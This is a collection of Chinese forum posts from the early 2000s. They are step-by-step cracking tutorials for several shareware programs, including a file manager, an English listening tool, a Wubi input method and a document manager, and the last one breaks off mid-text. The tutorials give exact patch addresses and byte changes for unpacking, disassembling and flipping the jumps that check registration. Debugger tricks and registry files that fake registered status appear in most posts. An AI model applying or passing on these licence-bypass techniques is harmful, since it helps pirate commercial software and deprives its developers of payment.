其实，这个程序我曾经破过，前面的注册码只不过是为在TEST　al　al作比较用，真正的注册是程序自动完成的，所以只要用动态跟踪，直接下断点到此，即告破，不可用dede350反编译，不可直接修改源程序，其一，该程序防跟踪。其二、好像是。。。。。


天音总管2.15

 标 题:“爆破”天音总管2.15版的一点体会 (9千字)
发信人:limyog
时 间:2001-12-7 16:46:16
详细信息:
“爆破”天音总管2.15版的一点体会

  天音总管推出已有很长一段时间了，而且也有高手制作出了破解版，要拣现成的简单得很，但对我等初学破解的人来说，是没有多大帮助的，为此，我就下了个未注册版来练习练习，藉此提高自己的水平，不怕各位见笑，因为在破解的过程中，我始终无法找到正确的注册码，只有采取“爆破”，是“爆破”而不是“暴破”（差点用上TNT或是黑索金了），可想而知，破解它的过程对我是多难，什么I/O错误，非法操作、系统死机等等，都在破解中发生了，好在破解成功，没有枉费我的一番努力。
   凭心而论，这款软件做得还过得去，主要用来管理你硬盘上的文本资料、图片、MP3，HTML等，并带有一个MP3播放器（只能播放MP3格式），但实用价值并不大，启动过程太慢，让人实在不能忍受，不过因为其界面设计十分美观，半透明的对话框看起来好顺眼，就把它继续留在硬盘上了。

  使用工具
1、W32DASM8.93Gold
2、Ultraedit8.0
3、Unpack1.0.1
4、Trw2000 1.23或Softice4.05 可用可不用，随你意了

爆破过程：

  该软件是用Aspack加的壳，要脱壳十分简单，用UnPack就行，我用的是由阿郎汉化的1.0.1版，按解压就成了，然后把程序主文件wininfo.exe复制一副本，用W32DASM8.93反编译副本,用UE8.0对原程序进行修改。
  很幸运，用W32DASM8.93反编译后，通过串式参考找到以下提示字符：

   "本软件受权给: %s%s注册码: %s"－－－－－有经验的一看就知道，这是出现在关于对话框中的
      "感谢您注册天音总管!"－－－－－－－－－－注册成功提示
"试用期已过，您必须注册才能使用。"－－－过了30天未注册就会蹦出来
"天音总管 - " －－－－－－－－－－－标题栏上的东西，看后面的小短杠，跟在它后面的就是
                                    当前打开的文件名XXX.info,再后就是下面的30天试用期
"注册码不正确."－－－－－－－－－－－－－输错了注册码就是它出来与你约会了
"30天试用期"－－－－－－－－－－－－－－－上面已说了

既然有这么多的提示，应该好破了，首先让它注册成功吧，经分析发现，该软件在判断注册成功与否时，都调用了同一个call 0051c800,只不过在call前面放入了不同的内容，如下：

:00553706 8B06 mov eax, dword ptr [esi]
:00553708 E83F86FFFF call 0054BD4C
:0055370D 8B06 mov eax, dword ptr [esi]
:0055370F 80B85C01000000 cmp byte ptr [eax+0000015C], 00
:00553716 7424 je 0055373C -------------将此处74改为75就不用跳到注册 不成功的地方去了
:00553718 66A198375500 mov ax, word ptr [00553798]
:0055371E 50 push eax
:0055371F 6A00 push 00000000
:00553721 A1682F5600 mov eax, dword ptr [00562F68]
:00553726 8B00 mov eax, dword ptr [eax]
:00553728 8B8030070000 mov eax, dword ptr [eax+00000730]
:0055372E B102 mov cl, 02

* Possible StringData Ref from Code Obj ->"感谢您注册天音总管!"
|
:00553730 BAA4375500 mov edx, 005537A4
                                       ~~~~~~~~ －－－这里面放的就是感谢您注册
                                                              天音总管的字符串
:00553735 E8C690FCFF call 0051C800
                                   ~~~~~~~~ ------此call后就注册成功了
:0055373A EB2A jmp 00553766

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00553716(C)
|
:0055373C 33C0 xor eax, eax
:0055373E 898334020000 mov dword ptr [ebx+00000234], eax
:00553744 66A198375500 mov ax, word ptr [00553798]
:0055374A 50 push eax
:0055374B 6A00 push 00000000
:0055374D A1682F5600 mov eax, dword ptr [00562F68]
:00553752 8B00 mov eax, dword ptr [eax]
:00553754 8B8030070000 mov eax, dword ptr [eax+00000730]
:0055375A B101 mov cl, 01

* Possible StringData Ref from Code Obj ->"注册码不正确."
|
:0055375C BAC0375500 mov edx, 005537C0 ----这里放的就是注册码不正确的字符串
~~~~~~~~
:00553761 E89A90FCFF call 0051C800 ----此call过后就over了
~~~~~~~~

按上述方法改后，只要按注册就成功，过了30天蹦出注册提示框后也一样，但标题栏上的30天试用期，时间过期后的注册框蹦出，关于菜单中的注册及关于对话框中的注册按钮都还在，并且在关于对话框中仍有“试用版，未注册”字样，要去掉注册按钮，我是转来转去，绕地球转了两圈，才终于找到了要修改的地方，其实就是在"试用期已过，您必须注册才能使用。"前面，如下：
* Possible StringData Ref from Code Obj ->"?D"
|
:00557210 A170345500 mov eax, dword ptr [00553470]
:00557215 E896A8EFFF call 00451AB0
:0055721A 8B1544345600 mov edx, dword ptr [00563444]
:00557220 8902 mov dword ptr [edx], eax

* Reference To: kernel32.GetTickCount, Ord:0000h
|
:00557222 E82D0EEBFF Call 00408054
:00557227 8BD8 mov ebx, eax
:00557229 EB0C jmp 00557237

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00557243(C)
|
:0055722B A1F4315600 mov eax, dword ptr [005631F4]
:00557230 8B00 mov eax, dword ptr [eax]
:00557232 E88116F0FF call 004588B8

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00557229(U)
|

* Reference To: kernel32.GetTickCount, Ord:0000h
|
:00557237 E8180EEBFF Call 00408054
:0055723C 2BC3 sub eax, ebx
:0055723E 3DE8030000 cmp eax, 000003E8
:00557243 72E6 jb 0055722B－－－－这里我改过，改了就死机，不知为啥
:00557245 8D55F4 lea edx, dword ptr [ebp-0C]
:00557248 A144345600 mov eax, dword ptr [00563444]
:0055724D 8B00 mov eax, dword ptr [eax]
:0055724F 8B98D0020000 mov ebx, dword ptr [eax+000002D0]
:00557255 8BC3 mov eax, ebx
:00557257 E81C2EEEFF call 0043A078
:0055725C 8B4DF4 mov ecx, dword ptr [ebp-0C]
:0055725F 8D45F8 lea eax, dword ptr [ebp-08]

* Possible StringData Ref from Code Obj ->"试用期已过，您必须注册才能使用。"
|
:00557262 BAE4725500 mov edx, 005572E4
:00557267 E848CFEAFF call 004041B4－－－－此call就是出试用期已过...的框
:0055726C 8B55F8 mov edx, dword ptr [ebp-08]
:0055726F A144345600 mov eax, dword ptr [00563444]
:00557274 8BC3 mov eax, ebx
:00557276 E82D2EEEFF call 0043A0A8
:0055727B A144345600 mov eax, dword ptr [00563444]
:00557280 8B00 mov eax, dword ptr [eax]
:00557282 8B10 mov edx, dword ptr [eax]
:00557284 FF92D8000000 call dword ptr [edx+000000D8]
:0055728A 83F802 cmp eax, 00000002
:0055728D 750C jne 0055729B
:0055728F A1F4315600 mov eax, dword ptr [005631F4]
:00557294 8B00 mov eax, dword ptr [eax]
:00557296 E87D18F0FF call 00458B18

上面几段代码经分析都没有符合条件的跳转，有的跳转一改就死，退出天音总额时报I/O错误，退不出，只有按CtrlAlt+Del才行，故只有再往上走，找到如下：
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:005571AB(C)
|
:005571B4 8B06 mov eax, dword ptr [esi]
:005571B6 80B85C01000000 cmp byte ptr [eax+0000015C], 00
:005571BD 7438 je 005571F7－－－－－这里就是我终于找到的地方，改74为75，关于　　　　　　　　　　　　　　　　　　　　　　　　　　　菜单中的注册及关于对话框中的注册按钮就不　　　　　　　　　　　　　　　　　　　　　　　　　　　会出现了
:005571BF 8D83D0070000 lea eax, dword ptr [ebx+000007D0]
:005571C5 8B16 mov edx, dword ptr [esi]
:005571C7 8B9254010000 mov edx, dword ptr [edx+00000154]
:005571CD E86ACDEAFF call 00403F3C
:005571D2 8D83D4070000 lea eax, dword ptr [ebx+000007D4]
:005571D8 8B16 mov edx, dword ptr [esi]
:005571DA 8B9258010000 mov edx, dword ptr [edx+00000158]
:005571E0 E857CDEAFF call 00403F3C
:005571E5 33D2 xor edx, edx
:005571E7 8B8328040000 mov eax, dword ptr [ebx+00000428]
:005571ED E8AAEBEEFF call 00445D9C
:005571F2 E9B0000000 jmp 005572A7

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:005571BD(C)
|
:005571F7 8B06 mov eax, dword ptr [esi]
:005571F9 E88249FFFF call 0054BB80
:005571FE 84C0 test al, al
:00557200 0F84A1000000 je 005572A7－－如果从:005571BD处直接跳到此的话，注册按钮仍会　　　　　　　　　　　　　　　　　　　　　　　　　存在，并会出现过期注册提示框
:00557206 8B0DF4315600 mov ecx, dword ptr [005631F4]
:0055720C 8B09 mov ecx, dword ptr [ecx]
:0055720E B201 mov dl, 01

其它的地方修改就简要说一下：

在:0054777c处　改　838007000000　为　838007000001　则标题栏内不会出现30天试用期的字样了
在:0054ed91处　改　838007000000　为　838007000001　则关于对话框内不会出试用期，未注册的字样，取而代之的是“软件受权给　　　　注册码　　　　　　”，当然其后是没有内容的。

改完后，你就是正版用户了，再用一款压缩工具进行压缩，文件就又只有600K多了，我用了UPX1.08，不影响使用，只可惜对话框内不会出现你的名字，这就是爆破的后果。

有谁能告诉我怎样找到注册码吗？


听力之友1.0

 标 题:听力之友1.0破解 (3千字)
发信人:fwnl
时 间:2002-2-28 11:03:04
详细信息:
听力之友1.0破解
Crack by fwnl
软件说明:
“听力之友”是一款侧重于练习英语听力的电脑复读软件。它绝不同于一般的电子复读机的功能，
通过对波形语音文件的智能断句，满足英语学习者通过听写、读背突破听力的功能。
此软件为作者在用"逆向法"学习英语的过程中根据自己的体会和现在市面上的软件的不足而设计的。
方便的单句模式，特别适合于用”逆向法“练习英语听力的初级、中级英语爱好者。
下载:http://cnfatcat.6to23.com/elf.zip
破解工具:TRW2000 w32dasm8.93

用w32dasm8.93反编后发现程序是通过判断注册码是否符合7个不同的条件以决定是否注册成功
第一个条件判断处:
:0040AC83 83BDF0FEFFFF08 cmp dword ptr [ebp+FFFFFEF0], 00000008
:0040AC8A 0F84E0000000 je 0040AD70 //不跳就失败
:0040AC90 66C7850CFFFFFF8000 mov word ptr [ebp+FFFFFF0C], 0080

* Possible StringData Ref from Data Obj ->"注册码不正确"
|
:0040AC99 BA6C024400 mov edx, 0044026C
:0040AC9E 8D45D8 lea eax, dword ptr [ebp-28]
:0040ACA1 E8DECD0100 call 00427A84

第二个条件判断处:
:0040B029 59 pop ecx
:0040B02A 84C9 test cl, cl
:0040B02C 0F84E0000000 je 0040B112 //不跳就失败
:0040B032 66C7850CFFFFFFE000 mov word ptr [ebp+FFFFFF0C], 00E0

* Possible StringData Ref from Data Obj ->"注册码不正确"
|
:0040B03B BA81024400 mov edx, 00440281
:0040B040 8D45AC lea eax, dword ptr [ebp-54]
:0040B043 E83CCA0100 call 00427A84
第三个条件判断处:
:0040B1D3 E808CA0100 call 00427BE0
:0040B1D8 59 pop ecx
:0040B1D9 84C9 test cl, cl
:0040B1DB 0F84E0000000 je 0040B2C1 //不跳就失败
:0040B1E1 66C7850CFFFFFFF800 mov word ptr [ebp+FFFFFF0C], 00F8

* Possible StringData Ref from Data Obj ->"注册码不正确"
|
:0040B1EA BA94024400 mov edx, 00440294
:0040B1EF 8D459C lea eax, dword ptr [ebp-64]
:0040B1F2 E88DC80100 call 00427A84
:0040B1F7 FF8518FFFFFF inc dword ptr [ebp+FFFFFF18]

四到六和前面都差不多，所以略过

第七个条件判断处:
:0040BA12 59 pop ecx
:0040BA13 84C9 test cl, cl
:0040BA15 0F84E6000000 je 0040BB01 //这里跳注册便成功了
:0040BA1B 66C7850CFFFFFF5801 mov word ptr [ebp+FFFFFF0C], 0158

* Possible StringData Ref from Data Obj ->"注册码不正确"
|
:0040BA24 BAE8024400 mov edx, 004402E8
:0040BA29 8D854CFFFFFF lea eax, dword ptr [ebp+FFFFFF4C]
:0040BA2F E850C00100 call 00427A84

综合看出如果要注册成功，程序必需跳到0040bb01处，用TRW2000载入后bpx 0040AC8A(第一个跳转处)
填入注册码点确定中断后 a 40ac8a,然后写 jmp 40bb01(注意补一个nop),F5返回程序发现注册成功，
重新运行程序发现还是注册了.于是在注册表中找到注册标记如下:
REGEDIT4

[HKEY_CURRENT_USER\Software\elf]
"init"="30"
把这个文件做成个注册表文件就可当注册机用了，哈哈
****** *** fwnl
*** ** 2002.2.28
******** **** ** *** ****** ** 长沙
** *** * ** ** ** **
*** ******* *** ** ***
** ** ** ** *** ****
***


万能五笔2001A

标 题:万能五笔2001A
发信人:飞狐
时 间:2002/02/24 10:05pm
详细信息:

万能五笔2001A暴力pj，当然网上已有了它的注册机，贴上来，只不过希望高手告诉我注册码的算法。
1首先运行TRW2000，装入万能五笔2001A+智能新版（下载网址HTTP://WWW.IME2000.COM)，出现TRW2000窗口，按CTRL＋N，返回到万能五笔2001A+智能新版窗口，打开注册窗口，输入姓名如：flyfox,公司：在线乐园，密码：123456789，随便输入。
2、再按CTRL＋N回到TRW2000窗口，输入BPX　HMEMCPY设置中断，按CTRL＋N，返回到万能五笔2001A+智能新版窗口，按确定按钮，程序自动回到TRW2000窗口。
3、输入BC *清除中断。
4、输入PMODULE进入万能五笔2001A+智能新版的程序领域。
5、按F10键跟踪，一路猛按，其中你可以停下来，D EAX 等，可以看到你输入的的上面的三项信息。
6、当程序走到下列代码时，一定要慢下来：
167：0048D394 CALL USER32!GETBLGITEM
167：0048D39A TEST EAX,EAX
167：0048D39C JZ 0048D3B5
167：0048D3A0 CALL 0048C888 此处CALL 如果注册码输入不正确，按F10键就会跳出注册失败窗口。所以必须按F8进入。
7、进入之后，继续按F10键，不要太快，很快就会看到以下代码：
167：0048C8EE LEA EDI,[ESP+84]
167：0048C8F5 REP MOVSB
按F10走到下面的代码停住：
167：0048C8F9 AND ECX,03
167：0048C8FC REP MOVSB 此处如果按F10就会跳出注册失败窗口。所以必须跳过这两处，怎么跳？就是修改EIP指针：
；输入 R EIP 0048C8FE按回车，或把光标移到寄存器区域的EIP上，按回车，输入0048C8FE跳过此处。
8、继续按F10键，要慢，看到这个代码一定停住：
167：0048C90D JNG 48CD22 修改此处的ZF标志位，（把光标移到ZF标志位后按回车即可）然后执行此处的程序（按F10)
9、最后一路高歌，猛按F10键（要有耐心经过数次跳转），最终会跳出注册成功窗口（一闪而过）你就可以完成这个程序的暴力pj，一般情况下，在下面的地址处就会成功：
167：0048E083 MOV ECX,[EBP-50]
167：0048E086 CALL 00490D80 此处CALL按F10就会注册成功。


文档管理助手

标 题:《文档管理助手》的pj
发信人dola1234
时 间:2002/02/01 02:17pm
详细信息:

《文档管理助手》的pj
使用工具：
winhex 10.0
regshot
trw2000
IDA pro 4.15
hiew 6.40
PEiDentifier v0.7
AspackDIE
目标网址：http://61.175.211.198/wlm/docman/docman10.exe

1.甄别和脱壳：用PEiDentifier v0.7扫描主文件docman.exe,发现其用ASPack 2.x modified - dXamn
压缩，故此用AspackDIE对其脱壳，得到unpacked.exe
2.运行和观察：
运行unpacked.exe,找到［注册］菜单，进行注册。首先，必须生成"注册申请"信息文件
在注册窗口中填入：注册名：dola1234 公司名：7triones_hardware.然后按确定，在桌面
上得到名为：dola1234 7triones_hardware.dat的"注册申请"信息文件。打开其进行观察
发现其内容如下：
[register]
userid=25001255117182133267124000077036091107165139053071043144211054050264238181044294044
0730970150860742690810590951550651481832671150661322630751350610851350
记录关键字［userid］.
接着进行注册，文件选定刚刚生成的dola1234 7triones_hardware.dat，经过一段时间的
运算，程序报告"文件中没有可用的注册信息"，记录这个message.
同时，注意到注册信息窗口中作者提供的限制信息"没有注册您只能使用26次"，由此断定
程序在"注册表"或"文件"中保存了使用计数［明文或密文］。
3.进一步提取相关信息：
用 regshot提取两次运行之间注册表信息的差别，可得到如下的关键信息：
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Registration\ProductDRemark: "BB2631EA34FF8F7FC7CA97C5"
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Registration\ProductDRemark: "BB2631EB3612EF3A726CC669"
进一步测试，使用程序达到26次以上，这是在启动时强行要求注册，这时将注册表中的［ProductDRemark］
键值改为："BB2631EA34FF8F7FC7CA97C5"后，又可以试用。由此判断，这可能就是注册与否和使用
次数的关键记录域。
4.寻找静态分析的切入点：
运行winhex 10.0，在运行unpacked.exe,使用winhex 10.0的内存编辑功能，在unpacked.exe
进程的主内存中搜寻前面记录的关键信息"文件中没有可用的注册信息",得到地址：0x005565C0;
5.静态分析:
用IDA PRO 4.15对目标进行反汇编.然后根据地址0x005565C0进行定位.见到如下的信息区:
CODE:005565BA ; CODE:00556532o
CODE:005565BA db '错误'
CODE:005565C0 aHave_None_Info dd 0 ; DATA XREF: CODE:00556496o
CODE:005565C0 db '文件中不存在有效的注册信息'
CODE:005565DE aS dw 0 ; DATA XREF: CODE:00556518o
CODE:005565DE db '提示'
CODE:005565E4 aSuccess_Register dd 0 ; DATA XREF: CODE:0055651Do
CODE:005565E4 db '注册成功！感谢您的支持！'
CODE:00556600 aFailed_Register dd 0 ; DATA XREF: CODE:00556537o
CODE:00556600 db '注册失败，请与作者联系！'

由XREF信息再定位到如下的程序段:

CODE:0055643E push eax
CODE:0055643F mov ecx, (offset aRegister+4)
CODE:00556444 mov edx, (offset aRegister+4)
CODE:00556449 mov eax, [ebp-8]
CODE:0055644C mov ebx, [eax]
CODE:0055644E call dword ptr [ebx]
CODE:00556450 mov edx, [ebp-18h]
CODE:00556453 mov eax, [ebp-4]
CODE:00556456 mov eax, [eax+308h]
CODE:0055645C call sub_44BE7C
CODE:00556461 push 0
CODE:00556463 lea eax, [ebp-0Ch]
CODE:00556466 push eax
CODE:00556467 mov ecx, (offset aUserid+4);注意我们记录的关键字"Userid"
CODE:0055646C mov edx, (offset aRegister+4);新出的关键字"Register"
CODE:00556471 mov eax, [ebp-8]
CODE:00556474 mov ebx, [eax]
CODE:00556476 call dword ptr [ebx]
CODE:00556478 lea edx, [ebp-1Ch]
CODE:0055647B mov eax, [ebp-4]
CODE:0055647E mov eax, [eax+308h]
CODE:00556484 call sub_44BE4C
CODE:00556489 cmp dword ptr [ebp-1Ch], 0
CODE:0055648D jnz short loc_5564B1 ; 注意此条件跳转
CODE:0055648F push 10h
CODE:00556491 mov ecx, (offset aA+2)
CODE:00556496 mov edx, (offset aHave_None_Info+4) ; 无有用信息
CODE:0055649B mov eax, ds:dword_598DBC
CODE:005564A0 mov eax, [eax]
CODE:005564A2 call sub_46C874
CODE:005564A7 call sub_404288
CODE:005564AC jmp loc_556557
CODE:005564B1 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
CODE:005564B1
CODE:005564B1 loc_5564B1: ; CODE XREF: CODE:0055648Dj
CODE:005564B1 xor eax, eax
CODE:005564B3 pop edx
CODE:005564B4 pop ecx
CODE:005564B5 pop ecx
CODE:005564B6 mov fs:[eax], edx
CODE:005564B9 push offset loc_5564D0
CODE:005564BE
CODE:005564BE loc_5564BE: ; CODE XREF: CODE:005564CEj
CODE:005564BE mov dl, 1
CODE:005564C0 mov eax, [ebp-8]
CODE:005564C3 mov ecx, [eax]
CODE:005564C5 call dword ptr [ecx-4];call到loc_5564D0处
CODE:005564C8 retn
CODE:005564C9 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
CODE:005564C9
CODE:005564C9 loc_5564C9: ; DATA XREF: CODE:0055642Eo
CODE:005564C9 jmp loc_4040E0
CODE:005564CE ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
CODE:005564CE jmp short loc_5564BE
CODE:005564D0 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
CODE:005564D0
CODE:005564D0 loc_5564D0: ; DATA XREF: CODE:005564B9o
CODE:005564D0 mov eax, ds:dword_5989DC
CODE:005564D5 mov byte ptr [eax], 1 ; ++置1++
CODE:005564D8 lea edx, [ebp-20h]
CODE:005564DB mov eax, [ebp-4]
CODE:005564DE mov eax, [eax+308h]
CODE:005564E4 call sub_44BE4C
CODE:005564E9 mov ecx, [ebp-20h]
CODE:005564EC mov edx, [ebp-0Ch]
CODE:005564EF mov al, 1
CODE:005564F1 call sub_510FF4
CODE:005564F6 call sub_513534
CODE:005564FB mov eax, ds:off_598B48
CODE:00556500 mov eax, [eax]
CODE:00556502 call sub_409884
CODE:00556507 call sub_512854
CODE:0055650C mov eax, ds:dword_5989DC
CODE:00556511 cmp byte ptr [eax], 0 ; eax=59b504关键的旗帜单元
CODE:00556514 jz short bad_cracker
CODE:00556516 push 40h
CODE:00556518 mov ecx, (offset aS+2)
CODE:0055651D mov edx, (offset aSuccess_Register+4) ; 成功
CODE:00556522 mov eax, ds:dword_598DBC
CODE:00556527 mov eax, [eax]
CODE:00556529 call sub_46C874
CODE:0055652E jmp short loc_556548
CODE:00556530 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
CODE:00556530
CODE:00556530 bad_cracker: ; CODE XREF: CODE:00556514j
CODE:00556530 push 10h
CODE:00556532 mov ecx, (offset aA+2)
CODE:00556537 mov edx, (offset aFailed_Register+4) ; 失败
CODE:0055653C mov eax, ds:dword_598DBC
CODE:00556541 mov eax, [eax]
CODE:00556543 call sub_46C874
CODE:00556548
CODE:00556548 loc_556548: ; CODE XREF: CODE:0055652Ej
CODE:00556548 mov eax, [ebp-4]
CODE:0055654B call sub_468E08
CODE:00556550 mov ds:byte_5A6960, 1
CODE:00556557
CODE:00556557 loc_556557: ; CODE XREF: CODE:00556402j
CODE:00556557 ; CODE:005564ACj
CODE:00556557 xor eax, eax
CODE:00556559 pop edx
CODE:0055655A pop ecx
CODE:0055655B pop ecx
CODE:0055655C mov fs:[eax], edx
CODE:0055655F push offset loc_556591
CODE:00556564
CODE:00556564 loc_556564: ; CODE XREF: CODE:0055658Fj
CODE:00556564 lea eax, [ebp-20h]
CODE:00556567 mov edx, 2
CODE:0055656C call sub_404840
CODE:00556571 lea eax, [ebp-18h]
CODE:00556574 call sub_40481C
CODE:00556579 lea eax, [ebp-14h]
CODE:0055657C call sub_40481C
CODE:00556581 lea eax, [ebp-0Ch]
CODE:00556584 call sub_40481C
CODE:00556589 retn

分析此段程序,其判断流程在IDA中是一目了然的。由以下信息
CODE:00556467 mov ecx, (offset aUserid+4);注意我们记录的关键字"Userid"
CODE:0055646C mov edx, (offset aRegister+4);新出的关键字"Register"
判断，程序是读取注册信息文件中的“USERID”和“REGISTER”信息进行校验的，而我们的注册信息文
件中没有REGISTER域，故此出现“文件中没有可用的注册信息”的错误提示。现在我们可以在注册信息
文件中添加“register”域如下：
[register]
userid=25001255117182133267124000077036091107165139053071043144211054050264238181044294044
0730970150860742690810590951550651481832671150661322630751350610851350
register=250012551171821332671240000770360911071651390530710431442110540502642381810442940
440730970150860742690810590951550651481832671150661322630751350610851350
在一次运行程序则没有了“文件中没有可用的注册信息”，而是“注册失败，请与作者联系！”
这就证明我们的判断是正确的。
进一步分析上面的程序，
CODE:0055650C mov eax, ds:dword_5989DC
CODE:00556511 cmp byte ptr [eax], 0 ; eax=59b504关键的旗帜单元
CODE:00556514 jz short bad_cracker
发现eax=59b504是关键的旗帜单元,记录下来,并在TRW2000中下断点：BPM 59b504
然后重新启动unpacked.exe,遇到如下的断点序列：
51103A: MOV BYTE [0059B504],0
...
5111AC: SETZ [0059B504]
...
55611A: CMP BYTE [EAX],0
...
5564D5: MOV BYTE [EAX],1
...
511471: MOV BYTE [0059B504],0 <<<---在注册的流程当中,此处是最后的出点,我们可由此切入.

在IDA中分析511471附近的程序:
CODE:00511471 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
CODE:00511471
CODE:00511471 GHOST_GONIG: ; CODE XREF: sub_510FF4+32Dj
CODE:00511471 mov ds:byte_59B504, 0 ; ++置0++
CODE:00511478 xor eax, eax
CODE:0051147A push ebp
CODE:0051147B push offset unk_5114A0
CODE:00511480 push dword ptr fs:[eax]
由交叉引用信息再到:
CODE:00511276 loc_511276: ; CODE XREF: sub_510FF4+F4j
CODE:00511276 call sub_513534
CODE:0051127B lea eax, [ebp+var_64]
CODE:0051127E mov ecx, offset unk_51168C
CODE:00511283 mov edx, ds:dword_59B518
CODE:00511289 call sub_404B20
CODE:0051128E mov eax, [ebp+var_64]
CODE:00511291 lea ecx, [ebp+var_60]
CODE:00511294 mov dx, 0E214h
CODE:00511298 call sub_50D550
CODE:0051129D mov eax, [ebp+var_60]
CODE:005112A0 lea ecx, [ebp+var_5C]
CODE:005112A3 mov dx, 0FF97h
CODE:005112A7 call sub_50D550
CODE:005112AC mov ecx, [ebp+var_5C]
CODE:005112AF mov edx, (offset aProductdremark+4)
CODE:005112B4 mov eax, [ebp+var_18]
CODE:005112B7 call sub_473C88
CODE:005112BC
CODE:005112BC loc_5112BC: ; CODE XREF: sub_510FF4+DFj
CODE:005112BC ; sub_510FF4+27Aj ...
CODE:005112BC mov eax, [ebp+var_18]
CODE:005112BF call sub_473928
CODE:005112C4 mov eax, [ebp+var_18]
CODE:005112C7 call sub_40394C
CODE:005112CC
CODE:005112CC loc_5112CC: ; CODE XREF: sub_510FF4+80j
CODE:005112CC cmp byte ptr [ebp+var_4+3], 0
CODE:005112D0 jz loc_5114B6
CODE:005112D6 mov [ebp+var_D], 0
CODE:005112DA mov edx, 80000002h
CODE:005112DF mov eax, [ebp+var_18]
CODE:005112E2 call sub_473958
CODE:005112E7 mov cl, 1
CODE:005112E9 mov edx, (offset aSoftwareMicrosof+4)
CODE:005112EE mov eax, [ebp+var_18]
CODE:005112F1 call sub_4739BC
CODE:005112F6 test al, al
CODE:005112F8 jz loc_5114B6
CODE:005112FE lea eax, [ebp+var_1C]
CODE:00511301 mov edx, [ebp+var_C]
CODE:00511304 call sub_4048B4
CODE:00511309 lea edx, [ebp+var_68]
CODE:0051130C mov eax, [ebp+var_1C] ; 注册信息文件中的数据
CODE:0051130F call sub_4094C8
CODE:00511314 mov edx, [ebp+var_68]
CODE:00511317 mov eax, [ebp+var_8] ; 注册信息文件中的数据
CODE:0051131A call calculate_register ; +++this call+++
CODE:0051131F test al, al
CODE:00511321 jz GHOST_GONIG ; ++置0++
CODE:00511327 xor eax, eax
CODE:00511329 push ebp
CODE:0051132A push offset loc_51139C
CODE:0051132F push dword ptr fs:[eax]
CODE:00511332 mov fs:[eax], esp
CODE:00511335 call sub_513534
CODE:0051133A lea eax, [ebp+var_74]
CODE:0051133D mov ecx, offset unk_511698
CODE:00511342 mov edx, ds:dword_59B518
CODE:00511348 call sub_404B20
CODE:0051134D mov eax, [ebp+var_74]
CODE:00511350 lea ecx, [ebp+var_70]
CODE:00511353 mov dx, 0E214h
CODE:00511357 call sub_50D550
CODE:0051135C mov eax, [ebp+var_70]
CODE:0051135F lea ecx, [ebp+var_6C]
CODE:00511362 mov dx, 0FF97h
CODE:00511366 call sub_50D550
CODE:0051136B mov ecx, [ebp+var_6C]
CODE:0051136E mov edx, (offset aProductdremark+4)
CODE:00511373 mov eax, [ebp+var_18]
CODE:00511376 call sub_473C88
CODE:0051137B mov ds:byte_59B504, 1 ; ++置"1"++
CODE:00511382 mov eax, [ebp+var_18]
CODE:00511385 call sub_473928
CODE:0051138A mov eax, [ebp+var_18]
CODE:0051138D call sub_40394C
CODE:00511392 xor eax, eax
CODE:00511394 pop edx
CODE:00511395 pop ecx
CODE:00511396 pop ecx
CODE:00511397 mov fs:[eax], edx
CODE:0051139A jmp short loc_5113A6
CODE:0051139C ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
CODE:0051139C
CODE:0051139C loc_51139C: ; DATA XREF: sub_510FF4+336o
CODE:0051139C jmp loc_403E2C

见到附近有关键旗帜的"置0"和"置1",是重点段需要动态跟踪.
6:动态跟踪:在TRW2000中下断点 BPX 5112BC,然后唤起程序进行注册,跟到51130C和511317处,见到注册
信息文件中的数据,userid和register的数据。进而断定51131A处的CALL是关键的比对函数，
跟入发现果然是注册校验算法只是过于繁复，为了快捷进行暴力pj。

CODE:00511321 jz GHOST_GONIG ; ++置0++

将00511321处的跳转改为: jnz GHOST_gOING (使得注册流程倒入旗帜置1的路径)

7：Patch 程序:
运行hview6.40并以decode方式载入unpacked.exe，定位到111321偏移处，以反汇编方式［A］
对程序进行修改。
8：运行和注册：
运行修改后的unpacked.exe进行注册，输入信息如下：
姓名：dola1234
公司：7triones_hardware
注册信息文件：dola1234 7triones_hardware.dat
点击注册键，程序进行一会儿的校验后显示注册成功的信息。这时看help中的about
信息，显示程序已经注册给：dola1234

9：进一步的观察：
此时观察注册表中的最终信息：
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Registration\ProductDRemark
［ProductDRemark］＝"BB21C32B078A1C6556DF"
记录此关键的键值.然后将此键值进行随意的修改如"BB21C32B078A1C6556DF"，然后
再次启动程序，发现又成为了试用版本，这样我们就完全可以断定，"BB21C32B078A1C6556DF"
就是对应 ［ 姓名：dola1234 公司：7triones_hardware ］的注册键值信息。

10：准备通用的注册文件：
将dola1234 7triones_hardware.dat和此键值一起提供。

简单的注册表导入文件：

REGEDIT4

[HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Registration]
"ProductDRemark"＝"BB21C32B078A1C6556DF"

希望大家指正，谢谢。


学生评语系统

 标 题:贴一个朋友问的关于《学生评语系统》的破解过程14千字)
发信人:D-X-C
时 间:2002-2-7 14:25:12
详细信息:
（1）

该软件加了PEcompact壳，可以用风飘雪的脱壳机脱壳，然后就能看到它是用DELPHI编
写的。用W32dasm8反汇编。
试着运行软件，进行注册，先要让你填用户名和单位、地址，注意字数要够。然后点击生成
